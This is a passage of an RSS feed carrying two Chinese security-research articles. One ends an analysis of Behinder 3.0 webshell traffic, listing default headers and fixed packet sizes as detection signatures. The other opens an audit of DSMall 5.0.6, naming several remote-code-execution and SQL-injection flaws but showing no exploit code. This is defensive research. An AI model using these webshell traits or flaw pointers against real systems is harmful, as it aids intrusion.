Trident/5.0)&#34; }</span><span style="font-size:16.0pt;"></span></pre>
    </td></tr></tbody></table><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">accept，Cache-Control，Pragma这几个值冰蝎3.0中不会进行设置，测试后发现使用的默认如下图（还需要在真实环境进行验证）<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2342007434944238" style="width: 553.73px;height: 129.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1076" src="https://wechat2rss.xlab.app/img-proxy/?k=897d42f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12fTAfTBvAtBpiahzibJHqLAmb1iaSoOns7r0u35haopFOsVqJicbrBjRdiaA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>默认头部如下：</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"></span></p><table border="1" cellspacing="0" cellpadding="0" width="723" style="margin-left: 0px;border-width: initial;border-style: none;border-color: initial;border-collapse: collapse;width: 100%;"><tbody><tr><td width="723" valign="top" style="width:490.25pt;background:transparent;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.6pt 11.25pt 3.6pt 12.0pt;"><pre style="margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;tab-stops: left Blank 45.8pt left Blank 91.6pt left Blank 137.4pt left Blank 183.2pt left Blank 229.0pt left Blank 274.8pt left Blank 320.6pt left Blank 366.4pt left Blank 412.2pt left Blank 458.0pt left Blank 503.8pt left Blank 549.6pt left Blank 595.4pt left Blank 641.2pt left Blank 687.0pt left Blank 732.8pt;"><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Cache-Control: no-cache</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Pragma: no-cache</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2</span><span style="font-size:16.0pt;"></span></pre>
    </td></tr></tbody></table><h3 style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 13.5pt;font-family: 宋体;margin-top: 16.8pt;margin-bottom: 13.2pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;">3.2.数据包长度</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;"></span></h3><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">第一个认证数据包长度（POST数据长度，对应Content-Length字段）固定为1112字节；<br/>发送认证数据包，认证成功后返回的加密数据大小为128字节，由于数据小可以再加上判断是否为base64编码字符集；<br/>第二个数据包为获取基本信息的脚本数据，对应大小为2220字节，由于脚本固定和UUID长度固定所以最终加密数据长度固定。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="1.1366120218579234" style="width: 553.73px;height: 629.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="732" src="https://wechat2rss.xlab.app/img-proxy/?k=8ed7aa17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12JTGWuicYdkMOia09BG0OCdn9G5okibWGPCBSPHPTfSF7QBIzPkHavwxnA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"></span></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">4</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">小结</span></section></section></section></section></section></section><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">冰蝎3.0使用预共享密钥进行通信因此无密钥协商过程，但如果预共享密钥解密失败则自动进入密钥协商过程（这里是否可以通过某种降维方式-修改返回数据导致解密失败？然后变成预2.0版本相同的检测方式）。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">目前分析看user-agent头部较老可以作为一般的研判依据，加上Pragma、Accept等默认头部进行联合判断，但仍可能有较大误报，需在实际环境测试。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">认证数据包和获取基本信息的数据包的长度固定可作为检测依据，目前看beta2版本中php脚本具有较多bug，现在已经更新beta3修复了bug，因此可能beta2版本较大概率不会被攻击者使用。<br/>beta3版本分析见下一篇报告。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/></span></p><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-top: 5px;padding-right: 10px;padding-bottom: 5px;border-width: 0px;border-style: none;border-color: initial;color: rgb(51, 51, 51);line-height: 24px;font-size: 14px;white-space: normal;max-width: 100%;letter-spacing: 0.544px;font-family: 微软雅黑;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(12, 137, 24);box-sizing: border-box !important;overflow-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px;margin-bottom: 5px;padding: 5px 10px;white-space: normal;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;line-height: 24px;border-width: 0px;border-style: initial;border-color: initial;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">本文由<strong style="color: rgb(62, 62, 62);letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">团队成员</span></strong>AI@MS509原创，转载请注明来源</span></strong></p><section style="white-space: normal;max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><em><em><em style="max-width: 100%;color: rgb(62, 62, 62);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509是中国电子科技网络信息安全有限公司（简称“中国网安”）旗下从事安全漏洞挖掘及利用方法研究的纯技术研究团队，研究方向包括WEB安全、红蓝对抗、移动安全、逆向分析、二进制安全、智能硬件（IOT）安全、工控安全、无线安全、APT攻击追踪溯源、安全编程等。</span></em></em></em></em><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></em><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在博客www.ms509.com；微博搜索 MS509。</strong></em></em></span></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">加入我们：<a href="https://www.ms509.com/contact/" target="_blank">https://www.ms509.com/contact/</a></strong></em></em></span></section></section></section></section></section></section></section></section><p style="white-space: normal;max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="white-space: normal;max-width: 100%;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="gif" data-w="500" width="auto" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p style="white-space: normal;max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="white-space: normal;"><br/></p><section data-ele="" style="white-space: normal;max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-ele="" style="max-width: 100%;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1.5em;font-size: 15.5556px;line-height: 2em;word-break: normal;border-radius: 5px;color: rgb(255, 255, 255);text-align: center;background-color: rgb(89, 150, 235);box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="https://www.ms509.com/2020/08/20/Behinder3-0-Beta2-PHP/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d23789ff&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935805%26idx%3D2%26sn%3Dc455e366f3d387c00b3efdf183020262%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 20 Aug 2020 16:21:00 +0800</pubDate>
    </item>
    <item>
      <title>DSMall的那些洞，你能发现吗？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935625&amp;idx=1&amp;sn=ce33c88b54ef0a799db818410a2ba34d</link>
      <description>最近一段时间专门在研究php 反序列化漏洞的挖掘和利用，这篇文章可以算做是研究成果的一个实践输出，文中所有的漏洞本来是提交到cnvd和补天的，被驳回了几次有点心态爆炸，浪费那些宝贵的时间何必呢？该公司开发的这几款web app 几乎都存在文</description>
      <content:encoded><![CDATA[<p>
原创 <span>flystart</span> <span>2020-07-15 09:01</span> <span style="display: inline-block;"></span>
</p>

<p>最近一段时间专门在研究php 反序列化漏洞的挖掘和利用，这篇文章可以算做是研究成果的一个实践输出，文中所有的漏洞本来是提交到cnvd和补天的，被驳回了几次有点心态爆炸，浪费那些宝贵的时间何必呢？该公司开发的这几款web app 几乎都存在文</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=43207f9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLolowGZ4nAeB8og8BibgibSfpUpWMr5ibqjB318ppYVO1JHibzax8Nv29Gg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><img class="__bg_gif" data-ratio="0.11875" style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 25.6px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;width: 640px !important;visibility: visible !important;" data-type="gif" data-w="640" title="1444706553487851.gif" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1426cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F640%3Fwx_fmt%3Dgif"/></p><section style="white-space: normal;max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">文章目录</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><ol class="list-paddingleft-2" style="margin: 0.5em;width: 577.422px;line-height: 1.8em;"><li style="list-style-type: none;"><p>1. 0x01 前言</p></li><li style="list-style-type: none;"><p>2. 0x02 介绍</p></li><li style="list-style-type: none;"><p>3. 0x03 漏洞统计</p></li><li style="list-style-type: none;"><p>4. 0x04 漏洞分析</p></li><ol class="list-paddingleft-2" style="margin-left: 1em;list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>4.2.1. 漏洞利用</p></li><li style="list-style-type: none;"><p>4.1.1. 漏洞利用</p></li><li style="list-style-type: none;"><p>4.1. 远程代码执行漏洞一</p></li><li style="list-style-type: none;"><p>4.2. 远程代码执行漏洞二</p></li><li style="list-style-type: none;"><p>4.3. 远程代码执行漏洞三</p></li><li style="list-style-type: none;"><p>4.4. 远程代码执行漏洞四</p></li><li style="list-style-type: none;"><p>4.5. 远程代码执行漏洞五</p></li><li style="list-style-type: none;"><p>4.6. SQL注入漏洞一</p></li><li style="list-style-type: none;"><p>4.7. SQL注入漏洞二</p></li><li style="list-style-type: none;"><p>4.8. SQL注入漏洞三</p></li></ol><li style="list-style-type: none;"><p>5. 0x05 结语</p></li></ol></section></section></section></section></section></section></section><section style="line-height: 25.6px;white-space: normal;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x01</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">前言</span></section></section></section></section></section></section><p><br style="white-space: normal;"/></p><p style="margin-bottom: 1.234em;white-space: normal;word-break: break-word;overflow-wrap: break-word;"><span style="text-indent: 0pt;color: rgb(68, 68, 68);font-family: Helvetica;font-size: 11.5pt;">最近一段时间专门在研究</span><span style="text-indent: 0pt;color: rgb(68, 68, 68);font-family: Helvetica;font-size: 11.5pt;">php 反序列化漏洞的挖掘和利用，这篇文章可以算做是研究成果的一个实践输出，文中所有的漏洞本来是提交到cnvd和补天的，被驳回了几次有点心态爆炸，浪费那些宝贵的时间何必呢？</span><span style="text-indent: 0pt;color: rgb(68, 68, 68);font-family: Helvetica;font-size: 11.5pt;">该公司开发的这几款web app 几乎都存在文章中审计到的漏洞，本文以DSmall为例进行分析，所有的漏洞分析文档见文末，如需要poc可以私信。</span><br/></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><shape type="#_x0000_t75" href="http://localhost:4000/2020/06/29/Dsmall-Code-Audit/image-20200420102016779.png" title="" filled="f" style="text-indent:0;left:0;width:396.55pt;height:697.9pt;"><imagedata title="image1"></imagedata></shape><img data-ratio="1.7606837606837606" style="width: 528.73px;height: 930.53px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="468" src="https://wechat2rss.xlab.app/img-proxy/?k=76969739&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLLDLnujdj9Z2AmmQw2hVOHL5j1mTu8nAbAFo2ic60vL4wn05eI039z4A%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><section style="line-height: 25.6px;white-space: normal;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x02</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">介绍</span></section></section></section></section></section></section><p><br/></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"> DSMall是长沙德尚网络科技有限公司开发的多用户商城系统，基于thinkphp5.0框架开发，目前最新版本是5.0.6。<br/>【官 网】</span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://www.csdeshang.com/" target="_blank">http://www.csdeshang.com/</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/>【下载地址】</span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://www.csdeshang.com/home/download/index.html" target="_blank">http://www.csdeshang.com/home/download/index.html</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/>【测试环境】php 5.6.27、mysql5.0.11、apache2.2<br/>【测试版本】DSMALL 5.0.6<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.26763110307414106" style="width: 553.73px;height: 148.4px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=d46cbf19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLqmRdicia8aDNib1GrKaL6DmyBBcIhJvXDrvYcZWv9lbnS6XyZ96fD4Srg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><section style="line-height: 25.6px;white-space: normal;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x03</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">漏洞统计</span></section></section></section></section></section></section><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><br/></p><table border="1" cellspacing="0" cellpadding="0" width="722" style="margin-left: 0px;border-width: initial;border-style: none;border-color: initial;border-collapse: collapse;width: 100%;"><thead><tr><td width="263" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:solid #909BA2 1.5pt;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;text-align: center;"><span style="font-size:11.5pt;font-family:等线;color:#444444;font-weight:bold;">漏洞类型</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:solid #909BA2 1.5pt;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;text-align: center;"><span style="font-size:11.5pt;font-family:等线;color:#444444;font-weight:bold;">数量</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:solid #909BA2 1.5pt;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;text-align: center;"><span style="font-size:11.5pt;font-family:等线;color:#444444;font-weight:bold;">级别</span></p></td><td width="255" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:solid #909BA2 1.5pt;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;text-align: center;"><span style="font-size:11.5pt;font-family:等线;color:#444444;font-weight:bold;">利用条件</span></p></td></tr></thead><tbody><tr><td width="263" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;text-align: left;"><span style="font-size:11.5pt;font-family:等线;color:#444444;">远程代码执行一</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 11.25pt;"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">1</span></p></td><td width="102" valign="middle" style="background:#FFFFFF;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.75pt 7.5pt 3.75pt 7.5pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 